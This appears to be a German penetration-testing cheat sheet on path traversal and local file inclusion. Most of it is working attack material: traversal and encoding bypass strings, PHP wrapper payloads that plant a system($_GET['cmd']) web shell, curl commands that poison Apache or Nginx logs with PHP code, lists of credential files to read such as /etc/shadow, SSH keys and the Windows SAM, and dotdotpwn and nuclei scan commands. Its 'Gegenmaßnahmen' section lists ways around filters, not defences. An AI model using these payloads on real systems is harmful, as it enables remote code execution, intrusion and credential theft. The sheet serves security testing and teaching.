Path Traversal
Path Traversal ist auch als Directory Traversal bekannt.
Um Path traversal Attacken auszunutzen, wird in höhere Verzeichnisse gesprungen. Dafür wird die Sequenz ../ genutzt.
Unter Windows kann zusätzlich die Sequenz ..\ genutzt werden.
Eine Datei, die genutzt werden kann um dies zu testen ist unter windows die Datei C:\\Windows\win.ini oder C:\windows\system32\license.rtf als äquivalent zu /etc/passwd.
- ../
- ..\
- ..\/
Tools
Methodik
- URL Encoding
- Double URL Encoding
- Unicode Encoding
.->%u002e,/->%u2215und\->%u2216 - Überlanges UTF-8 Enkoding
.->%c0%2e,%e0%40%ae,%c0%ae/->%c0%af,%e0%80%af,%c0%2f\->%c0%5c,%c0%80%5c
- WAF Entfernung von
../->..././,...\.\ - Nutzung von Nullbytes
%00 page=../../../etc/passwd%00page=../../../etc/passwd%2500URL enkodierung- `# Double encoded
- page=../../../etc/passwd%25%30%30` Doppelte URL Enkodierung
page=../../../etc/passwd%C0%80Unicode Enkodierung- Reverse Proxy URL Implementation
..;/- Nginx implementiert dies als Directory
- Tomcat als
../
- UNC Share Standard Format zur spezifizierung von Ressourcen(Windows hauptsächlich):
\\localhost\c$\windows\win.ini - ASP NET Cookieless Cookie in URL
/admin/(S(X))/main.aspx - IIS Short Name
- Java URL Protokoll
url:file:///etc/passwdundurl:http://127.0.0.1:8080
Wrapper tests
php://filter - Dateien mit base64 enkodierung lesen
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/convert.base64-encode/resource=../../../etc/passwd
php://input - Ausführen von POST Daten als PHP
page=php://input
POST Body: <?php system($_GET['cmd']); ?>
data:// wrapper - Ausführen von base64 enkodiertem Code
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= # Base64 of: <?php system($_GET['cmd']); ?>
expect:// wrapper - Ausführen von Kommandos
page=expect://ls
zip:// wrapper - Include from ZIP
Create ZIP with shell.php
page=zip://uploads/file.zip%23shell.php
Teste vergifteten Log
Log datein sind oftmals für apache:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
Und für Nginx:
/var/log/nginx/access.log
/var/log/nginx/error.log
Vergiften des Logs
Eine Methode den Log zu vergiften ist mithilfe eines Headers, wie dem User Agent, welcher geloggt wird:
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
Auch ist es möglich den Code direkt im Request einzuschleusen um diesen in den Log zu bekommen:
curl http://target.com/<?php system('whoami'); ?>/
Nützliche Linux Daten
Betriebssystem Informationen
/etc/issue
/etc/group
/etc/hosts
/etc/motd
Prozesse
/proc/[0-9]*/fd/[0-9]* # first number is the PID, second is the filedescriptor
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
Netzwerk
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
Aktueller Pfad
Der folgende Pfad gibt den aktuellen Pfad aus.
Dabei kann auch die Datei weggelassen werden um das aktuelle Directory anzuzeigen mit curl.
/proc/self/cwd/<Datei>
/proc/self/cwd/<Datei>
Indexing
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db
Credentials
/etc/passwd
/etc/shadow
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/etc/mysql/my.cnf
Interessante Windows Dateien
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system
Tools
dotdotpwn
Standard LFI Scan
dotdotpwn -m http -h target.com -x 80 -f /etc/passwd -k root
Mit spezifischem Pattern
dotdotpwn -m http \
-h target.com \
-x 80 \
-f /etc/passwd \
-k root \
-d 5
HTTPS scan
dotdotpwn -m http-url \
-u https://target.com/index.php?page=TRAVERSAL \
-f /etc/passwd \
-k root
Nutzung von Nuclei
Ausführen von LFI Templates
nuclei -u https://target.com -t lfi/
Spezifische Checks
nuclei -u https://target.com -t file/
Spezifische Schlüsselwörter
nuclei -u https://target.com -t lfi/ -tags lfi,rfi
Weitere Informationen
https://hackviser.com/tactics/pentesting/web/lfi-rfi#attack-vectors
Gegenmaßnahmen
Manchmal werden die Directory Traversal Sequenzen blockiert oder entfernt. In diesem Fall kann ein absoluter Pfad angegeben werden.
- Nutzung absoluter Pfad
- verschachtelte Sequenzen, wenn die Directory Traversal Sequenzen entfernt werden: ....// oder ....\/
- encodings
- %2e%2e%2f
- %252e%252e%252f
- ..%c0%af
- ..%ef%bc%8f
- %c0%ae%c0%ae%c0%af
- %uff0e%uff0e%u2215
- %uff0e%uff0e%u2216
- Erzwungene Nutzung eines speziellen startpunktes: filename=/var/www/images/../../../etc/passwd
- Erzwungene Endung entfernung mit nullbyte möglich: ../etc/passwd%00.png
Zusätzliche Encodings sind noch unicode und overlong utf8 unicode